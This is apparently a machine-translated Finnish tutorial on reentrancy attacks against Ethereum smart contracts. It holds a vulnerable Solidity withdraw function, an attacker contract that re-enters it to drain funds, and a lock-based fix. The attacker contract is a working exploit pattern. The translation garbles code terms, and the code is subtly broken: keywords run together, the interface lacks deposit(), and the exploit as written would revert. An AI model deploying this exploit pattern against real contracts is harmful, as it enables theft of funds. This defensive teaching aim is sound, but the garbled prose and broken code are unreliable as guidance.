Näin tapahtuu yksi yleisimmistä älykkäiden sopimusten hakkeroista, joka maksoi Web 3 -yrityksille miljoonia...
Jotkut lohkoketjuteollisuuden suurimmista hakkeroista, joissa varastettiin miljoonien dollarien arvoisia kryptovaluuttatokeneita, johtuivat paluuhyökkäyksistä. Vaikka nämä hakkerit ovat vähentyneet viime vuosina, ne muodostavat edelleen merkittävän uhan lohkoketjusovelluksille ja käyttäjille.
Mitä siis tarkalleen ovat palautumishyökkäykset? Miten ne otetaan käyttöön? Ja onko olemassa mitään toimenpiteitä, joita kehittäjät voivat tehdä estääkseen niiden toteutumisen?
Mikä on palautushyökkäys?
Palautumishyökkäys tapahtuu, kun haavoittuva älykäs sopimustoiminto soittaa ulkopuolisen puhelun haitalliseen sopimukseen ja luovuttaa tilapäisesti tapahtumavirran hallinnan. Haitallinen sopimus kutsuu sitten toistuvasti alkuperäistä älykästä sopimustoimintoa ennen kuin se lopettaa suorittamisen ja kuluttaa varat.
Pohjimmiltaan nostotapahtuma Ethereum-lohkoketjussa noudattaa kolmivaiheista sykliä: saldon vahvistus, rahalähetys ja saldon päivitys. Jos kyberrikollinen voi kaapata syklin ennen saldon päivitystä, hän voi nostaa varoja toistuvasti, kunnes lompakko tyhjenee.
Yksi surullisen kuuluisimmista lohkoketjuhakkereista, Ethereum DAO -hakkerointi, jonka kattaa Coindesk, oli paluuhyökkäys, joka johti yli 60 miljoonan dollarin arvoiseen eth-tappioon ja muutti perusteellisesti toiseksi suurimman kryptovaluutan kurssin.
Kuinka palautushyökkäys toimii?
Kuvittele kotikaupungissasi pankki, jossa hyveelliset paikalliset pitävät rahojaan; sen likviditeetti on yhteensä miljoona dollaria. Pankilla on kuitenkin virheellinen kirjanpitojärjestelmä – työntekijät odottavat iltaan päivittääkseen pankkisaldot.
Sijoittajaystäväsi vierailee kaupungissa ja huomaa kirjanpitovirheen. Hän luo tilin ja tallettaa 100 000 dollaria. Päivää myöhemmin hän nostaa 100 000 dollaria. Tunnin kuluttua hän yrittää vielä nostaa 100 000 dollaria. Koska pankki ei ole päivittänyt hänen saldoaan, se lukee edelleen 100 000 dollaria. Joten hän saa rahat. Hän tekee tämän toistuvasti, kunnes rahaa ei ole jäljellä. Työntekijät ymmärtävät, ettei rahaa ole, kun he tasapainottavat kirjoja illalla.
Älykkään sopimuksen yhteydessä prosessi etenee seuraavasti:
- Kyberrikollinen tunnistaa älykkään sopimuksen "X", jossa on haavoittuvuus.
- Hyökkääjä aloittaa laillisen tapahtuman kohdesopimukselle X lähettääkseen varoja haitalliseen sopimukseen "Y". Suorituksen aikana Y kutsuu haavoittuvaa funktiota X: ssä.
- X: n sopimuksen toteuttaminen keskeytyy tai viivästyy, koska sopimus odottaa vuorovaikutusta ulkoisen tapahtuman kanssa
- Kun suoritus on keskeytetty, hyökkääjä kutsuu toistuvasti samaa haavoittuvaa toimintoa X: ssä ja käynnistää sen suorittamisen niin monta kertaa kuin mahdollista.
- Jokaisella uudelleentulolla sopimuksen tilaa manipuloidaan, jolloin hyökkääjä voi tyhjentää varat X: stä Y: hen
- Kun varat on käytetty loppuun, palautus pysähtyy, X: n viivästetty toteutus päättyy vihdoin ja sopimuksen tila päivitetään viimeisen palaamisen perusteella.
Yleensä hyökkääjä hyödyntää onnistuneesti sisäänpääsyn haavoittuvuutta edukseen ja varastaa varoja sopimuksesta.
Esimerkki paluuhyökkäyksestä
Joten kuinka tarkalleen ottaen palautushyökkäys voi teknisesti tapahtua, kun se on otettu käyttöön? Tässä on hypoteettinen älykäs sopimus, jossa on paluuyhdyskäytävä. Käytämme aksiomaattista nimeämistä helpottaaksemme seuraamista.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
The Haavoittuva sopimus antaa käyttäjien tallettaa eth: n sopimukseen käyttämällä tallettaa toiminto. Käyttäjät voivat sitten nostaa tallettamansa ethin käyttämällä peruuttaa toiminto. Siinä on kuitenkin sisäänpääsyn haavoittuvuus peruuttaa toiminto. Kun käyttäjä vetäytyy, sopimus siirtää pyydetyn summan käyttäjän osoitteeseen ennen saldon päivittämistä, mikä luo hyökkääjälle mahdollisuuden hyödyntää sitä.
Tältä hyökkääjän älykäs sopimus näyttäisi.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Kun hyökkäys käynnistetään:
- The Hyökkääjäsopimus ottaa osoitteen Haavoittuva sopimus rakentajassaan ja tallentaa sen haavoittuva sopimus muuttuja.
- The hyökkäys Hyökkääjä kutsuu funktiota ja tallettaa jonkin eth: n Haavoittuva sopimus käyttämällä tallettaa toiminto ja soittaa sitten välittömästi peruuttaa toiminto Haavoittuva sopimus.
- The peruuttaa toimintoa Haavoittuva sopimus siirtää pyydetyn määrän eth: tä hyökkääjän omalle Hyökkääjäsopimus ennen saldon päivittämistä, mutta koska hyökkääjän sopimus keskeytetään ulkopuhelun aikana, toiminto ei ole vielä valmis.
- The vastaanottaa toimintoa Hyökkääjäsopimus laukeaa, koska Haavoittuva sopimus lähetti eth tähän sopimukseen ulkopuhelun aikana.
- Vastaanottotoiminto tarkistaa, onko Hyökkääjäsopimus saldo on vähintään 1 eetteri (nostomäärä), sitten se palaa Haavoittuva sopimus soittamalla sitä peruuttaa toimi uudelleen.
- Toista vaiheet kolmesta viiteen, kunnes Haavoittuva sopimus rahat loppuvat ja hyökkääjän sopimukseen kertyy huomattava määrä eth.
- Lopuksi hyökkääjä voi soittaa nosta varastetut varat toimintoa Hyökkääjäsopimus varastaa kaikki sopimukseen kertyneet varat.
Hyökkäys voi tapahtua erittäin nopeasti verkon suorituskyvystä riippuen. Kun kyseessä on monimutkaisia älykkäitä sopimuksia, kuten DAO Hack, joka johti Ethereumin kovaan haaraan Ethereum ja Ethereum Classichyökkäys kestää useita tunteja.
Kuinka estää paluuhyökkäys
Reentancy-hyökkäyksen estämiseksi meidän on muutettava haavoittuvaa älykästä sopimusta noudattamaan parhaita käytäntöjä turvallisen älykkäiden sopimusten kehittämisessä. Tässä tapauksessa meidän tulisi ottaa käyttöön "tarkistukset-vaikutukset-vuorovaikutukset" -malli kuten alla olevassa koodissa.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
Tässä kiinteässä versiossa olemme ottaneet käyttöön on lukossa kartoitus, jolla seurataan, onko tietty tili nostoprosessissa. Kun käyttäjä aloittaa noston, sopimus tarkistaa, onko hänen tilinsä lukittu (!isLocked[viestinlähettäjä]), mikä osoittaa, että samalla tilillä ei ole tällä hetkellä käynnissä muita nostoja.
Jos tiliä ei ole lukittu, sopimus jatkuu tilan muutoksella ja ulkoisella vuorovaikutuksella. Tilanmuutoksen ja ulkoisen vuorovaikutuksen jälkeen tilin lukitus avataan uudelleen, mikä mahdollistaa tulevat kotiutukset.
Reentrancy-hyökkäysten tyypit
Yleensä on olemassa kolme päätyyppiä paluuhyökkäyksiin, jotka perustuvat niiden hyväksikäytön luonteeseen.
- Yksittäinen paluuhyökkäys: Tässä tapauksessa haavoittuva toiminto, jota hyökkääjä soittaa toistuvasti, on sama, joka on herkkä paluuyhdyskäytävälle. Yllä oleva hyökkäys on esimerkki yksittäisestä paluuhyökkäyksestä, joka voidaan helposti estää toteuttamalla asianmukaiset tarkistukset ja koodin lukitukset.
- Toimintojen välinen hyökkäys: Tässä skenaariossa hyökkääjä käyttää haavoittuvaa toimintoa kutsuakseen eri toimintoa samassa sopimuksessa, joka jakaa tilan haavoittuvan kanssa. Toisella toiminnolla, jota hyökkääjä kutsuu, on jokin toivottava vaikutus, mikä tekee siitä houkuttelevamman hyväksikäytön kannalta. Tämä hyökkäys on monimutkaisempi ja vaikeampi havaita, joten sen lieventämiseksi tarvitaan tiukkoja tarkastuksia ja yhteenliitettyjä toimintoja.
- Sopimusten välinen hyökkäys: Tämä hyökkäys tapahtuu, kun ulkoinen sopimus on vuorovaikutuksessa haavoittuvan sopimuksen kanssa. Tämän vuorovaikutuksen aikana haavoittuvan sopimuksen tilaa kutsutaan ulkoisessa sopimuksessa ennen kuin se päivitetään kokonaan. Se tapahtuu yleensä, kun useilla sopimuksilla on sama muuttuja ja jotkut päivittävät jaettua muuttujaa epävarmana. Suojatut viestintäprotokollat sopimusten ja säännöllisten välillä älykkäät sopimustarkastukset on toteutettava tämän hyökkäyksen lieventämiseksi.
Palautumishyökkäykset voivat ilmetä eri muodoissa ja vaativat siksi erityisiä toimenpiteitä jokaisen ehkäisemiseksi.
Pysy turvassa paluuhyökkäyksiltä
Reentancy-hyökkäykset ovat aiheuttaneet huomattavia taloudellisia menetyksiä ja heikentäneet luottamusta lohkoketjusovelluksiin. Suojellakseen sopimuksia kehittäjien on omaksuttava ahkerasti parhaat käytännöt välttääkseen uudelleenpääsyn haavoittuvuuksia.
Heidän tulisi myös ottaa käyttöön suojattuja nostomalleja, käyttää luotettavia kirjastoja ja suorittaa perusteellisia tarkastuksia vahvistaakseen älykkään sopimuksen puolustusta entisestään. Tietenkin, pysymällä ajan tasalla uusista uhista ja olemalla ennakoiva tietoturvatoimissa, voidaan varmistaa, että ne myös ylläpitävät lohkoketjuekosysteemien eheyttä.